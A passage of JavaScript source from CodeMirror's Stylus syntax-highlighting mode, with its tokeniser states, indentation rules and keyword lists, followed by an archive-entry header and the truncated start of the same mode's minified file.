            stream.string.match(/^\s+[\$-]?[a-z]/i)) {
          return pushContext(state, stream, "block", 0);
        }
        if (endOfLine(stream)) return pushContext(state, stream,
"block");
        else return pushContext(state, stream, "block", 0);
      }
      if (type && type.charAt(0) == "@" &&
wordIsProperty(stream.current().slice(1))) {
        override = "variable-2";
      }
      if (type == "word") {
        var word = stream.current();
        override = wordAsValue(word);
        if (override == "tag" &&
tagVariablesRegexp.test(word)) {
          override = "variable-2";
        }
        if (override == "property" || word == "to")
override = "atom";
      }
      if (type == "variable-name") {
        return pushContext(state, stream, "variableName");
      }
      if (typeIsPseudo(type, stream)) {
        return pushContext(state, stream, "pseudo");
      }
      return state.context.type;
    };


    /**
     * Vendor prefixes
     */
    states.vendorPrefixes = function(type, stream, state) {
      if (type == "word") {
        override = "property";
        return pushContext(state, stream, "block", 0);
      }
      return popContext(state);
    };


    /**
     * Pseudo
     */
    states.pseudo = function(type, stream, state) {
      if (!wordIsProperty(firstWordOfLine(stream.string))) {
        stream.match(/^[a-z-]+/);
        override = "variable-3";
        if (endOfLine(stream)) return pushContext(state, stream,
"block");
        return popContext(state);
      }
      return popAndPass(type, stream, state);
    };


    /**
     * atBlock
     */
    states.atBlock = function(type, stream, state) {
      if (type == "(") return pushContext(state, stream,
"atBlock_parens");
      if (typeIsBlock(type, stream)) {
        return pushContext(state, stream, "block");
      }
      if (typeIsInterpolation(type, stream)) {
        return pushContext(state, stream, "interpolation");
      }
      if (type == "word") {
        var word = stream.current().toLowerCase();
        if (/^(only|not|and|or)$/.test(word))
          override = "keyword";
        else if (documentTypes.hasOwnProperty(word))
          override = "tag";
        else if (mediaTypes.hasOwnProperty(word))
          override = "attribute";
        else if (mediaFeatures.hasOwnProperty(word))
          override = "property";
        else if (nonStandardPropertyKeywords.hasOwnProperty(word))
          override = "string-2";
        else override = wordAsValue(stream.current());
        if (override == "tag" && endOfLine(stream)) {
          return pushContext(state, stream, "block");
        }
      }
      if (type == "operator" &&
/^(not|and|or)$/.test(stream.current())) {
        override = "keyword";
      }
      return state.context.type;
    };

    states.atBlock_parens = function(type, stream, state) {
      if (type == "{" || type == "}") return
state.context.type;
      if (type == ")") {
        if (endOfLine(stream)) return pushContext(state, stream,
"block");
        else return pushContext(state, stream, "atBlock");
      }
      if (type == "word") {
        var word = stream.current().toLowerCase();
        override = wordAsValue(word);
        if (/^(max|min)/.test(word)) override = "property";
        if (override == "tag") {
          tagVariablesRegexp.test(word) ? override = "variable-2"
: override = "atom";
        }
        return state.context.type;
      }
      return states.atBlock(type, stream, state);
    };


    /**
     * Keyframes
     */
    states.keyframes = function(type, stream, state) {
      if (stream.indentation() == "0" && ((type ==
"}" && startOfLine(stream)) || type == "]" ||
type == "hash"
                                          || type == "qualifier"
|| wordIsTag(stream.current()))) {
        return popAndPass(type, stream, state);
      }
      if (type == "{") return pushContext(state, stream,
"keyframes");
      if (type == "}") {
        if (startOfLine(stream)) return popContext(state, true);
        else return pushContext(state, stream, "keyframes");
      }
      if (type == "unit" &&
/^[0-9]+\%$/.test(stream.current())) {
        return pushContext(state, stream, "keyframes");
      }
      if (type == "word") {
        override = wordAsValue(stream.current());
        if (override == "block-keyword") {
          override = "keyword";
          return pushContext(state, stream, "keyframes");
        }
      }
      if (/@(font-face|media|supports|(-moz-)?document)/.test(type)) {
        return pushContext(state, stream, endOfLine(stream) ?
"block" : "atBlock");
      }
      if (type == "mixin") {
        return pushContext(state, stream, "block", 0);
      }
      return state.context.type;
    };


    /**
     * Interpolation
     */
    states.interpolation = function(type, stream, state) {
      if (type == "{") popContext(state) &&
pushContext(state, stream, "block");
      if (type == "}") {
        if (stream.string.match(/^\s*(\.|#|:|\[|\*|&|>|~|\+|\/)/i)
||
            (stream.string.match(/^\s*[a-z]/i) &&
wordIsTag(firstWordOfLine(stream)))) {
          return pushContext(state, stream, "block");
        }
        if (!stream.string.match(/^(\{|\s*\&)/) ||
            stream.match(/\s*[\w-]/,false)) {
          return pushContext(state, stream, "block", 0);
        }
        return pushContext(state, stream, "block");
      }
      if (type == "variable-name") {
        return pushContext(state, stream, "variableName", 0);
      }
      if (type == "word") {
        override = wordAsValue(stream.current());
        if (override == "tag") override = "atom";
      }
      return state.context.type;
    };


    /**
     * Extend/s
     */
    states.extend = function(type, stream, state) {
      if (type == "[" || type == "=") return
"extend";
      if (type == "]") return popContext(state);
      if (type == "word") {
        override = wordAsValue(stream.current());
        return "extend";
      }
      return popContext(state);
    };


    /**
     * Variable name
     */
    states.variableName = function(type, stream, state) {
      if (type == "string" || type == "[" || type ==
"]" || stream.current().match(/^(\.|\$)/)) {
        if (stream.current().match(/^\.[\w-]+/i)) override =
"variable-2";
        return "variableName";
      }
      return popAndPass(type, stream, state);
    };


    return {
      startState: function(base) {
        return {
          tokenize: null,
          state: "block",
          context: new Context("block", base || 0, null)
        };
      },
      token: function(stream, state) {
        if (!state.tokenize && stream.eatSpace()) return null;
        style = (state.tokenize || tokenBase)(stream, state);
        if (style && typeof style == "object") {
          type = style[1];
          style = style[0];
        }
        override = style;
        state.state = states[state.state](type, stream, state);
        return override;
      },
      indent: function(state, textAfter, line) {

        var cx = state.context,
            ch = textAfter && textAfter.charAt(0),
            indent = cx.indent,
            lineFirstWord = firstWordOfLine(textAfter),
            lineIndent = line.match(/^\s*/)[0].replace(/\t/g,
indentUnitString).length,
            prevLineFirstWord = state.context.prev ?
state.context.prev.line.firstWord : "",
            prevLineIndent = state.context.prev ?
state.context.prev.line.indent : lineIndent;

        if (cx.prev &&
            (ch == "}" && (cx.type == "block"
|| cx.type == "atBlock" || cx.type == "keyframes") ||
             ch == ")" && (cx.type == "parens"
|| cx.type == "atBlock_parens") ||
             ch == "{" && (cx.type == "at"))) {
          indent = cx.indent - indentUnit;
        } else if (!(/(\})/.test(ch))) {
          if (/@|\$|\d/.test(ch) ||
              /^\{/.test(textAfter) ||
/^\s*\/(\/|\*)/.test(textAfter) ||
              /^\s*\/\*/.test(prevLineFirstWord) ||
             
/^\s*[\w-\.\[\]\'\"]+\s*(\?|:|\+)?=/i.test(textAfter) ||
/^(\+|-)?[a-z][\w-]*\(/i.test(textAfter) ||
/^return/.test(textAfter) ||
              wordIsBlock(lineFirstWord)) {
            indent = lineIndent;
          } else if (/(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(ch) ||
wordIsTag(lineFirstWord)) {
            if (/\,\s*$/.test(prevLineFirstWord)) {
              indent = prevLineIndent;
            } else if (/^\s+/.test(line) &&
(/(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(prevLineFirstWord) ||
wordIsTag(prevLineFirstWord))) {
              indent = lineIndent <= prevLineIndent ? prevLineIndent :
prevLineIndent + indentUnit;
            } else {
              indent = lineIndent;
            }
          } else if (!/,\s*$/.test(line) &&
(wordIsVendorPrefix(lineFirstWord) || wordIsProperty(lineFirstWord))) {
            if (wordIsBlock(prevLineFirstWord)) {
              indent = lineIndent <= prevLineIndent ? prevLineIndent :
prevLineIndent + indentUnit;
            } else if (/^\{/.test(prevLineFirstWord)) {
              indent = lineIndent <= prevLineIndent ? lineIndent :
prevLineIndent + indentUnit;
            } else if (wordIsVendorPrefix(prevLineFirstWord) ||
wordIsProperty(prevLineFirstWord)) {
              indent = lineIndent >= prevLineIndent ? prevLineIndent :
lineIndent;
            } else if
(/^(\.|#|:|\[|\*|&|@|\+|\-|>|~|\/)/.test(prevLineFirstWord) ||
                      /=\s*$/.test(prevLineFirstWord) ||
                      wordIsTag(prevLineFirstWord) ||
                     
/^\$[\w-\.\[\]\'\"]/.test(prevLineFirstWord)) {
              indent = prevLineIndent + indentUnit;
            } else {
              indent = lineIndent;
            }
          }
        }
        return indent;
      },
      electricChars: "}",
      lineComment: "//",
      fold: "indent"
    };
  });

  // developer.mozilla.org/en-US/docs/Web/HTML/Element
  var tagKeywords_ =
["a","abbr","address","area","article","aside","audio",
"b", "base","bdi",
"bdo","bgsound","blockquote","body","br","button","canvas","caption","cite",
"code","col","colgroup","data","datalist","dd","del","details","dfn","div",
"dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1",
"h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe",
"img","input","ins","kbd","keygen","label","legend","li","link","main","map",
"mark","marquee","menu","menuitem","meta","meter","nav","nobr","noframes",
"noscript","object","ol","optgroup","option","output","p","param","pre",
"progress","q","rp","rt","ruby","s","samp","script","section","select",
"small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","tr","track",
"u","ul","var","video"];

  // github.com/codemirror/CodeMirror/blob/master/mode/css/css.js
  var documentTypes_ = ["domain", "regexp",
"url", "url-prefix"];
  var mediaTypes_ =
["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"];
  var mediaFeatures_ =
["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid"];
  var propertyKeywords_ =
["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-position","grid-auto-rows","grid-column","grid-column-end","grid-column-start","grid-row","grid-row-end","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marker-offset","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","will-change","word-break","word-spacing","word-wrap","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode","font-smoothing","osx-font-smoothing"];
  var nonStandardPropertyKeywords_ =
["scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-3d-light-color","scrollbar-track-color","shape-inside","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","zoom"];
  var fontProperties_ =
["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"];
  var colorKeywords_ =
["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"];
  var valueKeywords_ =
["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","column","compact","condensed","contain","content","contents","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","dashed","decimal","decimal-leading-zero","default","default-button","destination-atop","destination-in","destination-out","destination-over","devanagari","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ethiopic-numeric","ew-resize","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","flex","footnotes","forwards","from","geometricPrecision","georgian","graytext","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","malayalam","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row-resize","rtl","run-in","running","s-resize","sans-serif","scale","scale3d","scaleX","scaleY","scaleZ","scroll","scrollbar","scroll-position","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","solid","somali","source-atop","source-in","source-out","source-over","space","spell-out","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","symbolic","symbols","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","x-large","x-small","xor","xx-large","xx-small","bicubic","optimizespeed","grayscale","row","row-reverse","wrap","wrap-reverse","column-reverse","flex-start","flex-end","space-between","space-around",
"unset"];

  var wordOperatorKeywords_ =
["in","and","or","not","is
not","is
a","is","isnt","defined","if
unless"],
      blockKeywords_ =
["for","if","else","unless",
"from", "to"],
      commonAtoms_ =
["null","true","false","href","title","type","not-allowed","readonly","disabled"],
      commonDef_ = ["@font-face", "@keyframes",
"@media", "@viewport", "@page",
"@host", "@supports", "@block",
"@css"];

  var hintWords =
tagKeywords_.concat(documentTypes_,mediaTypes_,mediaFeatures_,
                                     
propertyKeywords_,nonStandardPropertyKeywords_,
                                     
colorKeywords_,valueKeywords_,fontProperties_,
                                      wordOperatorKeywords_,blockKeywords_,
                                      commonAtoms_,commonDef_);

  function wordRegexp(words) {
    words = words.sort(function(a,b){return b > a;});
    return new RegExp("^((" + words.join(")|(") +
"))\\b");
  }

  function keySet(array) {
    var keys = {};
    for (var i = 0; i < array.length; ++i) keys[array[i]] = true;
    return keys;
  }

  function escapeRegExp(text) {
    return text.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&");
  }

  CodeMirror.registerHelper("hintWords", "stylus",
hintWords);
  CodeMirror.defineMIME("text/x-styl", "stylus");
});
PKJ��[�5w!�f�f$codemirror/mode/stylus/stylus.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){return a=a.sort((function(a,b){return
b>a})),new
RegExp("^(("+a.join(")|(")+"))\\b")}function
c(a){for(var b={},c=0;c<a.length;++c)b[a[c]]=!0;return b}function
d(a){return
a.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&")}a.defineMode("stylus",(function(a){function
q(a,b){if(ea=a.string.match(/(^[\w-]+\s*=\s*$)|(^\s*[\w-]+\s*=\s*[\w-])|(^\s*(\.|#|@|\$|\&|\[|\d|\+|::?|\{|\>|~|\/)?\s*[\w-]*([a-z0-9-]|\*|\/\*)(\(|,)?)/),b.context.line.firstWord=ea?ea[0].replace(/^\s*/,""):"",b.context.line.indent=a.indentation(),K=a.peek(),a.match("//"))return
a.skipToEnd(),["comment","comment"];if(a.match("/*"))return
b.tokenize=r,r(a,b);if('"'==K||"'"==K)return
a.next(),b.tokenize=s(K),b.tokenize(a,b);if("@"==K)return
a.next(),a.eatWhile(/[\w\\-]/),["def",a.current()];if("#"==K){if(a.next(),a.match(/^[0-9a-f]{3}([0-9a-f]([0-9a-f]{2}){0,2})?\b(?!-)/i))return["atom","atom"];if(a.match(/^[a-z][\w-]*/i))return["builtin","hash"]}return
a.match(ca)?["meta","vendor-prefixes"]:a.match(/^-?[0-9]?\.?[0-9]/)?(a.eatWhile(/[a-z%]/i),["number","unit"]):"!"==K?(a.next(),[a.match(/^(important|optional)/i)?"keyword":"operator","important"]):"."==K&&a.match(/^\.[a-z][\w-]*/i)?["qualifier","qualifier"]:a.match(X)?("("==a.peek()&&(b.tokenize=t),["property","word"]):a.match(/^[a-z][\w-]*\(/i)?(a.backUp(1),["keyword","mixin"]):a.match(/^(\+|-)[a-z][\w-]*\(/i)?(a.backUp(1),["keyword","block-mixin"]):a.string.match(/^\s*&/)&&a.match(/^[-_]+[a-z][\w-]*/)?["qualifier","qualifier"]:a.match(/^(\/|&)(-|_|:|\.|#|[a-z])/)?(a.backUp(1),["variable-3","reference"]):a.match(/^&{1}\s*$/)?["variable-3","reference"]:a.match(aa)?["operator","operator"]:a.match(/^\$?[-_]*[a-z0-9]+[\w-]*/i)?a.match(/^(\.|\[)[\w-\'\"\]]+/i,!1)&&!z(a.current())?(a.match(/\./),["variable-2","variable-name"]):["variable-2","word"]:a.match(_)?["operator",a.current()]:/[:;,{}\[\]\(\)]/.test(K)?(a.next(),[null,K]):(a.next(),[null,null])}function
r(a,b){for(var
c,d=!1;null!=(c=a.next());){if(d&&"/"==c){b.tokenize=null;break}d="*"==c}return["comment","comment"]}function
s(a){return function(b,c){for(var
d,e=!1;null!=(d=b.next());){if(d==a&&!e){")"==a&&b.backUp(1);break}e=!e&&"\\"==d}return(d==a||!e&&")"!=a)&&(c.tokenize=null),["string","string"]}}function
t(a,b){return
a.next(),a.match(/\s*[\"\')]/,!1)?b.tokenize=null:b.tokenize=s(")"),[null,"("]}function
u(a,b,c,d){this.type=a,this.indent=b,this.prev=c,this.line=d||{firstWord:"",indent:0}}function
v(a,b,c,d){return d=d>=0?d:O,a.context=new
u(c,b.indentation()+d,a.context),c}function w(a,b){var
c=a.context.indent-O;return
b=b||!1,a.context=a.context.prev,b&&(a.context.indent=c),a.context.type}function
x(a,b,c){return fa[c.context.type](a,b,c)}function y(a,b,c,d){for(var
e=d||1;e>0;e--)c.context=c.context.prev;return x(a,b,c)}function
z(a){return a.toLowerCase()in Q}function A(a){return(a=a.toLowerCase())in
S||a in $}function B(a){return a.toLowerCase()in ba}function C(a){return
a.toLowerCase().match(ca)}function D(a){var
b=a.toLowerCase(),c="variable-2";return
z(a)?c="tag":B(a)?c="block-keyword":A(a)?c="property":b
in U||b in da?c="atom":"return"==b||b in
V?c="keyword":a.match(/^[A-Z]/)&&(c="string"),c}function
E(a,b){return
I(b)&&("{"==a||"]"==a||"hash"==a||"qualifier"==a)||"block-mixin"==a}function
F(a,b){return"{"==a&&b.match(/^\s*\$?[\w-]+/i,!1)}function
G(a,b){return":"==a&&b.match(/^[a-z-]+/,!1)}function
H(a){return a.sol()||a.string.match(new
RegExp("^\\s*"+d(a.current())))}function I(a){return
a.eol()||a.match(/^\s*$/,!1)}function J(a){var
b=/^\s*[-_]*[a-z0-9]+[\w-]*/i,c="string"==typeof
a?a.match(b):a.string.match(b);return
c?c[0].replace(/^\s*/,""):""}for(var
K,L,M,N,O=a.indentUnit,P="",Q=c(e),R=/^(a|b|i|s|col|em)$/i,S=c(i),T=c(j),U=c(m),V=c(l),W=c(f),X=b(f),Y=c(h),Z=c(g),$=c(k),_=/^\s*([.]{2,3}|&&|\|\||\*\*|[?!=:]?=|[-+*\/%<>]=?|\?:|\~)/,aa=b(n),ba=c(o),ca=new
RegExp(/^\-(moz|ms|o|webkit)-/i),da=c(p),ea="",fa={};P.length<O;)P+="
";return
fa.block=function(a,b,c){if("comment"==a&&H(b)||","==a&&I(b)||"mixin"==a)return
v(c,b,"block",0);if(F(a,b))return
v(c,b,"interpolation");if(I(b)&&"]"==a&&!/^\s*(\.|#|:|\[|\*|&)/.test(b.string)&&!z(J(b)))return
v(c,b,"block",0);if(E(a,b))return
v(c,b,"block");if("}"==a&&I(b))return
v(c,b,"block",0);if("variable-name"==a)return
b.string.match(/^\s?\$[\w-\.\[\]\'\"]+$/)||B(J(b))?v(c,b,"variableName"):v(c,b,"variableName",0);if("="==a)return
I(b)||B(J(b))?v(c,b,"block"):v(c,b,"block",0);if("*"==a&&(I(b)||b.match(/\s*(,|\.|#|\[|:|{)/,!1)))return
N="tag",v(c,b,"block");if(G(a,b))return
v(c,b,"pseudo");if(/@(font-face|media|supports|(-moz-)?document)/.test(a))return
v(c,b,I(b)?"block":"atBlock");if(/@(-(moz|ms|o|webkit)-)?keyframes$/.test(a))return
v(c,b,"keyframes");if(/@extends?/.test(a))return
v(c,b,"extend",0);if(a&&"@"==a.charAt(0))return
b.indentation()>0&&A(b.current().slice(1))?(N="variable-2","block"):/(@import|@require|@charset)/.test(a)?v(c,b,"block",0):v(c,b,"block");if("reference"==a&&I(b))return
v(c,b,"block");if("("==a)return
v(c,b,"parens");if("vendor-prefixes"==a)return
v(c,b,"vendorPrefixes");if("word"==a){var
d=b.current();if("property"==(N=D(d)))return
H(b)?v(c,b,"block",0):(N="atom","block");if("tag"==N){if(/embed|menu|pre|progress|sub|table/.test(d)&&A(J(b)))return
N="atom","block";if(b.string.match(new
RegExp("\\[\\s*"+d+"|"+d+"\\s*\\]")))return
N="atom","block";if(R.test(d)&&(H(b)&&b.string.match(/=/)||!H(b)&&!b.string.match(/^(\s*\.|#|\&|\[|\/|>|\*)/)&&!z(J(b))))return
N="variable-2",B(J(b))?"block":v(c,b,"block",0);if(I(b))return
v(c,b,"block")}if("block-keyword"==N)return
N="keyword",b.current(/(if|unless)/)&&!H(b)?"block":v(c,b,"block");if("return"==d)return
v(c,b,"block",0);if("variable-2"==N&&b.string.match(/^\s?\$[\w-\.\[\]\'\"]+$/))return
v(c,b,"block")}return
c.context.type},fa.parens=function(a,b,c){if("("==a)return
v(c,b,"parens");if(")"==a)return"parens"==c.context.prev.type?w(c):b.string.match(/^[a-z][\w-]*\(/i)&&I(b)||B(J(b))||/(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(J(b))||!b.string.match(/^-?[a-z][\w-\.\[\]\'\"]*\s*=/)&&z(J(b))?v(c,b,"block"):b.string.match(/^[\$-]?[a-z][\w-\.\[\]\'\"]*\s*=/)||b.string.match(/^\s*(\(|\)|[0-9])/)||b.string.match(/^\s+[a-z][\w-]*\(/i)||b.string.match(/^\s+[\$-]?[a-z]/i)?v(c,b,"block",0):I(b)?v(c,b,"block"):v(c,b,"block",0);if(a&&"@"==a.charAt(0)&&A(b.current().slice(1))&&(N="variable-2"),"word"==a){var
